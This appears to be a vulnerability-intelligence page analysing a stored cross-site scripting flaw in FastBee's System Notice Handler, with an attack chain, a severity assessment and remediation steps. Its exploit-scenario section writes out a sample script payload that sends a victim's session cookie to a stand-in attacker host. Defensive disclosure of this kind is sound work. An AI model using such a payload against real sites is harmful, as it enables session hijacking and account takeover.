Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to FastBee admin panel
-
DeliveryNavigate to System Notice Handler
-
ExploitInject XSS payload in noticeContent field
-
InstallSubmit malicious notice
-
C2Victim admin views notice list
-
ExecuteMalicious script executes in victim's browser
-
ImpactAttacker steals session token or executes unauthorized action
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires authenticated access to the FastBee administrative interface with permissions to create or edit system notices via the SysNoticeController Add function. The noticeContent parameter must be processed and stored without input validation or output encoding. Victims must view the injected notice for the XSS payload to execute in their browsers, satisfying the UI:R (user interaction required) requirement in the CVSS vector. Default installations of FastBee with administrative users or delegated notice management are vulnerable. Non-default configurations that implement additional input filtering or disable the System Notice Handler component would mitigate the risk, but no evidence indicates such hardening is standard or widely deployed. |
| Impact | CVSS 3.5 (low) with network vector, low complexity, and low integrity impact aligns with typical stored XSS requiring authentication and user interaction. However, several contextual factors elevate practical risk: (1) publicly available exploit code reduces barrier to exploitation, (2) vendor non-responsiveness means no patch timeline, (3) the vulnerability affects administrative functions (System Notice Handler), suggesting potential for lateral movement or privilege escalation if admin notices are displayed to high-privilege users, (4) stored nature means injected payloads persist indefinitely until manually removed. The CVSS E:P (exploit proof-of-concept exists) and RC:R (reasonable confidence) tags confirm public exploitability. This is not a high-severity vulnerability by CVSS, but the combination of availability of working exploits, vendor abandonment, and persistence in an admin interface makes it a medium priority for organizations running FastBee. Organizations should weigh the low CVSS against their reliance on FastBee and the administrative sensitivity of the affected component. |
| Exploit ScenarioDerived | An authenticated administrator or lower-privilege user with access to the System Notice creation function injects a malicious JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into the noticeContent field. The payload is stored in the database and rendered without sanitization. When other users (including higher-privilege admins) view the notices page, the JavaScript executes in their browsers, stealing session cookies, triggering unauthorized actions, or redirecting them to a phishing site. Public exploit code reduces the technical skill required to craft and deliver such payloads. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 03, 2026
Stored cross-site scripting (XSS) in kerwincui FastBee up to version 1.2.1 allows authenticated remote attackers to inject malicious scripts via the noticeContent parameter in the System Notice Handler component, which are then executed in the browsers of other users viewing notices. The vulnerability requires user interaction (victims must view the injected notice) and authenticated access, limiting immediate attack scope, though publicly available exploit code and vendor non-responsiveness increase real-world risk.
RemediationAI
No vendor-released patch is available, as the vendor did not respond to early disclosure contact. Immediate mitigations include: (1) Upgrade to a version newer than 1.2.1 if available from an alternative source or fork, though this is not confirmed; (2) Implement input validation and output encoding for the noticeContent parameter at the application level by modifying SysNoticeController.java to sanitize all user-supplied content using a whitelist-based HTML sanitizer (e.g., OWASP AntiSamy, DOMPurify) before storage and encoding output using context-appropriate encoding (e.g., HTML entity encoding) before rendering; (3) Restrict access to the System Notice Handler to a minimal set of trusted administrators and implement strict role-based access control; (4) Deploy a Web Application Firewall (WAF) with rules to detect and block common XSS payloads in the noticeContent parameter; (5) Audit the database for existing malicious notices and purge them. Consider migrating to an actively maintained alternative if FastBee is mission-critical, given vendor abandonment.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the SysNoticeController.java file within the springboot/fastbee-admin module, specifically in the Add function that processes the noticeContent parameter. The root cause is improper input validation and output encoding for user-supplied content in the System Notice Handler component, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The affected CPE is a:kerwincui:fastbee:* (all versions through 1.2.1), indicating the flaw affects the core FastBee administrative interface. The Java-based Spring Boot application fails to sanitize or encode the noticeContent field before storing it in the database and rendering it to other authenticated users, creating a stored XSS vector.
Know when Fastbee gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
3DescriptionCVE.org
A vulnerability was determined in kerwincui FastBee up to 1.2.1. The impacted element is the function Add of the file springboot/fastbee-admin/src/main/java/com/fastbee/web/controller/system/SysNoticeController.java of the component System Notice Handler. This manipulation of the argument noticeContent causes cross site scripting. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in kerwincui FastBee Multiple Vulnerabilities
View all 2Cross-tenant object reference flaw in FastBee through 2.1.0 lets any authenticated tenant user read another tenant's MQT
Insecure direct object reference (IDOR) in FastBee through 2.1.0 allows authenticated low-privilege users-including self
Code injection in the Groovy Script Executor component of beecue FastBee up to and including 2.1.0 lets a remote attacke
EUVD-2026-26811
NVD
CVE.org
EPSS
Vulnrichment
VulDB
GitHub PoC
Exploit-DB